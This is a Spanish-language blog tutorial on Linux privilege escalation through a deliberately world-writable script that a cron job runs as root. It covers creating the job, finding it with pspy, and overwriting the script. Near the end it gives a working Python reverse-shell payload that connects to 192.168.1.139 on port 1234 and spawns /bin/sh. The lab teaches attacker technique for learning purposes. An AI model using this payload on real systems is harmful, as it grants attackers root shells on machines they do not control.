Hola a todos y bienvenidos a un nuevo artículo. Hoy vamos a continuar con la serie de artículos sobre escalada de privilegios en Linux, en concreto, trataremos la explotación de tareas Cron.
Lo primero de todo, vamos a entender qué es una tarea Cron y cómo podemos crearlas.
Las tareas Cron se utilizan para programar tareas que se van a ejecutar a intervalos regulares de tiempo, es decir, en fechas y horas específicas. Habitualmente, se utilizan para programar copias de seguridad, borrados de archivos, envío de logs, etc.
Las tareas Cron tienen una sintaxis específica que nos va a permitir indicar qué tipo de tarea queremos ejecutar, cada cuanto tiempo ha de ejecutarse, qué usuario va a ejecutar la tarea, etc.
Creación tarea Cron
Vamos a desarrollar un pequeño script en Python3 que nos permita hacer una copia de un fichero que tengamos en una carpeta y lo guarde en otra llamada “Backup”.
#!/usr/bin/python3 import sys import time import subprocess from pwn import * if __name__ == "__main__": log.progress("Comenzando con la copia") result = subprocess.run(["cp", "/home/diego/articulosBlog/explotacionTareasCron/privado/documentos.txt", "/home/diego/articulosBlog/explotacionTareasCron/backup"], capture_output=True, text=True) if (result.returncode == 0): log.info("Copia completada") sleep(1) else: log.info("Ha ocurrido un error")
Para poder explotar las tareas Cron es necesario que los permisos (del script que se va a ejecutar) estén mal configurados. Por tanto, asignaremos permisos de escritura a “otros” (chmod o+w).
Una vez tengamos el script y los permisos configurados, estamos listos para configurar la tarea Cron. Para ello, tenemos que editar el fichero
/etc/crontab
Siguiendo la sintaxis de las tareas Cron previamente explicada, podemos programar una tarea en la que, el usuario root ejecute el script, anteriormente desarrollado, cada minuto. Para ello, añadimos la siguiente línea:
* * * * * root python3 /home/diego/articulosBlog/explotacionTareasCron/script.py
Si nos fijamos, el script copia el contenido del fichero “documentos.txt” que está en la ruta:
/home/diego/articulosBlog/explotacionTareasCron/script.py
a la ruta:
/home/diego/articulosBlog/explotacionTareasCron/backup/documentos.txt
Esta acción tan simple se va a ejecutar cada minuto por parte del usuario root, pero para ello es necesario arrancar el demonio de Cron.
sudo service cron start
Y podemos comprobar el estado del demonio mediante el comando:
sudo service cron status
Finalmente, ya tendríamos la tarea Cron configurada.
Detección de tareas Cron
La búsqueda de tareas Cron es un paso muy habitual a la hora de enumerar posibles vías para escalar privilegios. Podríamos desarrollar un pequeño script que nos las detecte (de una manera muy básica) o usar alguno desarrollado con importantes mejoras. Yo os voy a enseñar cómo usar pspy.
Pspy es una herramienta muy interesante que nos va a permitir ver las tareas Cron que se ejecutan en el sistema, al igual, que el usuario que las ejecuta. Está programado en Go y para poder usarlo podemos compilarlo nosotros o descargar la versión compilada
El uso es muy sencillo, le damos permisos de ejecución y lo lanzamos (./pspy64). Empezaremos a ver tareas que se ejecutan a intervalos regulares de tiempo, entre ellas, tiene que estar la que acabamos de crear:
2021/07/23 20:51:01 CMD: UID=0 PID=158638 | python3 /home/diego/articulosBlog/explotacionTareasCron/script.py
Como vemos el UID es 0 lo que indica que lo está ejecutando root y vemos la ruta del script.
Explotación tareas Cron
Ahora, un posible atacante con privilegios de usuario comprobaría los permisos de ese script, que se ejecutará como root, y como “otros” tienen permiso de escritura, podría modificarlo.
Por ejemplo, podría aprovechar esta vulnerabilidad para obtener una reverse shell, obteniendo acceso con privilegios elevados.
Modificamos el contenido del script por el siguiente:
#!/bin/python3 import sys import time import subprocess from pwn import * if __name__ == "__main__": s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.139",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
Nos ponemos en escucha por el puerto 1234. Cuando se ejecute el script obtendremos acceso como el usuario root ¡Escalada de privilegios conseguida!
Espero que hayáis aprendido y os haya gustado
Que la Fuerza os acompañe
DiegoAltF4
Inicio
Deja una respuesta